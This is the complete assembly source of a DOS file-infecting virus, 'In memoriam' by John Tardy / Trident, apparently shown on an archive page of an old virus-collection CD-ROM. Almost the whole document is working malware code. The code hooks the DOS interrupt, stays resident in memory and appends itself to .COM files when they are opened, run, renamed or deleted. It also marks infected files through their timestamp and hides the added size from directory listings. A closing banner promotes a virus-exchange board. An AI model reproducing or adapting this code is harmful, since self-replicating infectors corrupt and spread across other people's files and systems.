home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / B.ZIP / BIRD.ZIP / BIRD.A86 next >
Encoding:
Text File  |  1994-01-09  |  8.2 KB  |  296 lines

  1. ;
  2. ; In memoriam Virus by John Tardy / Trident
  3. ;
  4.  
  5.                 Org 0h
  6.  
  7. Main:           Push Ax
  8.                 call Get_Ofs
  9. Get_Ofs:        pop Bp
  10.                 sub Bp,Get_Ofs
  11.                 Mov Ax,0DEADh
  12.                 Int 21h
  13.                 Cmp Ax,0AAAAh
  14.                 Je  Installed
  15.  
  16.                 mov ax,3521h
  17.                 int 21h
  18.                 mov word ptr cs:old21[bp],bx
  19.                 mov word ptr cs:old21[bp][2],es
  20.  
  21.                 mov     ax,cs                   ;adjust memory-size
  22.                 dec     ax
  23.                 mov     ds,ax
  24.                 cmp     byte ptr ds:[0000],'Z'
  25.                 jne     installed
  26.                 mov     ax,word ptr ds:[0003]
  27.                 sub     ax,ParLen
  28.                 jb      installed
  29.                 mov     word ptr ds:[0003],ax
  30.                 sub     word ptr ds:[0012h],ParLen
  31.                 lea     si,main[bp]
  32.                 mov     di,0
  33.                 mov     es,ds:[12h]
  34.                 mov     ds,cs
  35.                 mov     cx,virlen
  36.                 cld
  37.                 rep     movsb
  38.                 mov     ax,2521h
  39.                 mov     ds,es
  40.                 mov     dx,offset new21
  41.                 int     21h
  42. Installed:      Mov Di,100h
  43.                 Lea Si,Org_Prg[Bp]
  44.                 Push Cs
  45.                 Push Cs
  46.                 Pop Ds
  47.                 Pop Es
  48.                 Cld
  49.                 Movsw
  50.                 Movsb
  51.                 Mov Bx,100h
  52.                 Pop Ax
  53.                 Push Bx
  54.                 Ret
  55.  
  56. Old21           dd 0
  57.  
  58. New21:          cmp ax,0deadh
  59.                 jne chkfunc
  60.                 mov ax,0aaaah
  61.                 iret
  62. chkfunc:
  63.                 cmp ah,11h
  64.                 je  findFCBst
  65.                 cmp ah,12h
  66.                 je findfcbst
  67.                 cmp ah,4eh
  68.                 je findst
  69.                 cmp ah,4fh
  70.                 je findst
  71.                 push ax
  72.                 push bx
  73.                 push cx
  74.                 push dx
  75.                 push si
  76.                 push di
  77.                 push bp
  78.                 push ds
  79.                 push es
  80.                 cmp ah,3dh
  81.                 je  infectHan
  82.                 cmp ax,4b00h
  83.                 je  infectHan
  84.                 cmp ah,41h
  85.                 je  infectHan
  86.                 cmp ah,43h
  87.                 je  infectHan
  88.                 cmp ah,56h
  89.                 je  infectHan
  90.                 cmp ah,0fh
  91.                 je  infectFCB
  92.                 cmp ah,23h
  93.                 je  infectFCB
  94.                 jmp endint
  95.  
  96. findfcbst:      jmp findfcb
  97. findst:         jmp find
  98.  
  99. InfectFCB:      mov si,dx
  100.                 inc si
  101.                 push cs
  102.                 pop es
  103.                 lea di,fnam
  104.                 mov cx,8
  105.                 rep movsb
  106.                 mov cx,3
  107.                 inc di
  108.                 rep movsb
  109.                 lea dx,fnam
  110.                 push cs
  111.                 pop ds
  112.  
  113. InfectHan:      mov si,dx
  114.                 mov cx,100h
  115.                 cld
  116. findpnt:        lodsb
  117.                 cmp al,'.'
  118.                 je  chkcom
  119.                 loop findpnt
  120.                 jmp  endi
  121. chkcom:         lodsw
  122.                 or ax,2020h
  123.                 cmp ax,'oc'
  124.                 jne endi
  125.                 lodsb
  126.                 or al,20h
  127.                 cmp al,'m'
  128.                 jne endi
  129.                 jmp doit
  130. endi:           jmp endint
  131. doit:           push dx
  132.                 push ds
  133.                 mov ax,4300h
  134.                 pushf
  135.                 call dword ptr cs:[old21]
  136.                 mov cs:fatr,cx
  137.                 mov ax,4301h
  138.                 xor cx,cx
  139.                 pushf
  140.                 call dword ptr cs:[old21]
  141.                 mov ax,3d02h
  142.                 pushf
  143.                 call dword ptr cs:[old21]
  144.                 jnc getdate
  145.                 jmp error
  146. getdate:        xchg ax,bx
  147.                 mov ax,5700h
  148.                 pushf
  149.                 call dword ptr cs:[old21]
  150.                 mov cs:fdat,cx
  151.                 mov cs:fdat[2],dx
  152.                 and cx,1fh
  153.                 cmp cx,1fh
  154.                 jne chkexe
  155.                 jmp done
  156. chkexe:         mov ah,3fh
  157.                 push cs
  158.                 pop ds
  159.                 lea dx,Org_prg
  160.                 mov cx,3
  161.                 pushf
  162.                 call dword ptr cs:[old21]
  163.                 cmp word ptr cs:Org_prg[0],'ZM'
  164.                 je  close
  165.                 cmp word ptr cs:Org_prg[0],'MZ'
  166.                 je close
  167.  
  168.                 Mov ax,4202h
  169.                 xor cx,cx
  170.                 xor dx,dx
  171.                 pushf
  172.                 call dword ptr cs:[old21]
  173.                 sub ax,3
  174.                 mov cs:jump[1],ax
  175.  
  176.                 mov ah,40h
  177.                 push cs
  178.                 pop ds
  179.                 lea dx,main
  180.                 mov cx,virlen
  181.                 pushf
  182.                 call dword cs:[old21]
  183.                 mov ax,4200h
  184.                 xor cx,cx
  185.                 xor dx,dx
  186.                 mov ah,40h
  187.                 lea dx,jump
  188.                 mov cx,3
  189.                 pushf
  190.                 call dword cs:[old21]
  191.  
  192.                 or  cs:fdat,01fh
  193.  
  194. close:          mov ax,5701h
  195.                 mov cx,cs:fdat
  196.                 mov dx,cs:fdat[2]
  197.                 pushf
  198.                 call dword ptr cs:[old21]
  199. done:           mov ah,3eh
  200.                 pushf
  201.                 call dword ptr cs:[old21]
  202.                 pop ds
  203.                 pop dx
  204.                 push dx
  205.                 push ds
  206.                 mov ax,4301h
  207.                 mov cx,fatr
  208.                 pushf
  209.                 call dword ptr cs:[old21]
  210.  
  211. error:          pop ds
  212.                 pop dx
  213.  
  214. endint:         pop es
  215.                 pop ds
  216.                 pop bp
  217.                 pop di
  218.                 pop si
  219.                 pop dx
  220.                 pop cx
  221.                 pop bx
  222.                 pop ax
  223.                 jmp dword ptr cs:[old21]
  224.  
  225. getdta:
  226.                 pop si
  227.                 pushf
  228.                 push ax
  229.                 push bx
  230.                 push es
  231.                 mov  ah,2fh
  232.                 call dos
  233.                 jmp short si
  234.  
  235. FindFCB:        call    DOS                             ; call orginal interrupt
  236.                 cmp     al,0                            ; error ?
  237.                 jne     Ret1
  238.                 call    getdta
  239.                 cmp     byte ptr es:[bx],-1             ; extended fcb ?
  240.                 jne     FCBOk
  241.                 add     bx,8                            ; yes, skip 8 bytes
  242. FCBOk:          mov     al,es:[bx+16h]                  ; get file-time (low byte)
  243.                 and     al,1fh                          ; seconds
  244.                 cmp     al,1fh                          ; 62 seconds ?
  245.                 jne     FileOk                          ; no, file not infected
  246.                 sub     word ptr es:[bx+1ch],Virlen     ; adjust file-size
  247.                 sbb     word ptr es:[bx+1eh],0
  248.                 jmp     short Time
  249.  
  250. Find:           call    DOS
  251.                 jc      Ret1
  252.                 call    getdta
  253.                 mov     al,es:[bx+16h]
  254.                 and     al,1fh
  255.                 cmp     al,1fh
  256.                 jne     FileOk
  257.                 sub     word ptr es:[bx+1ah],VirLen
  258.                 sbb     word ptr es:[bx+1ch],0
  259. Time:           xor     byte ptr es:[bx+16h],10h
  260. FileOk:         pop     es
  261.                 pop     bx
  262.                 pop     ax
  263.                 popf
  264. Ret1:           retf    2
  265.  
  266. dos:            pushf
  267.                 call    dword ptr cs:[old21]
  268.                 ret
  269.  
  270. Org_prg         dw 0cd90h
  271.                 db 21h
  272.  
  273. fnam            db 8 dup (0)
  274.                 db '.'
  275.                 db 3 dup (0)
  276.                 db 0
  277. fatr            dw 0
  278. fdat            dw 0,0
  279.  
  280.  
  281. jump            db 0e9h,0,0
  282.  
  283.                 Db 'In memoriam 14-10-92'
  284.  
  285. VirLen          Equ $-Main
  286. ParLen          Equ (VirLen/10h)+10h
  287.  
  288.  
  289.  
  290.  
  291.  
  292. ;  ─────────────────────────────────────────────────────────────────────────
  293. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  294. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  295. ;  ─────────────────────────────────────────────────────────────────────────
  296.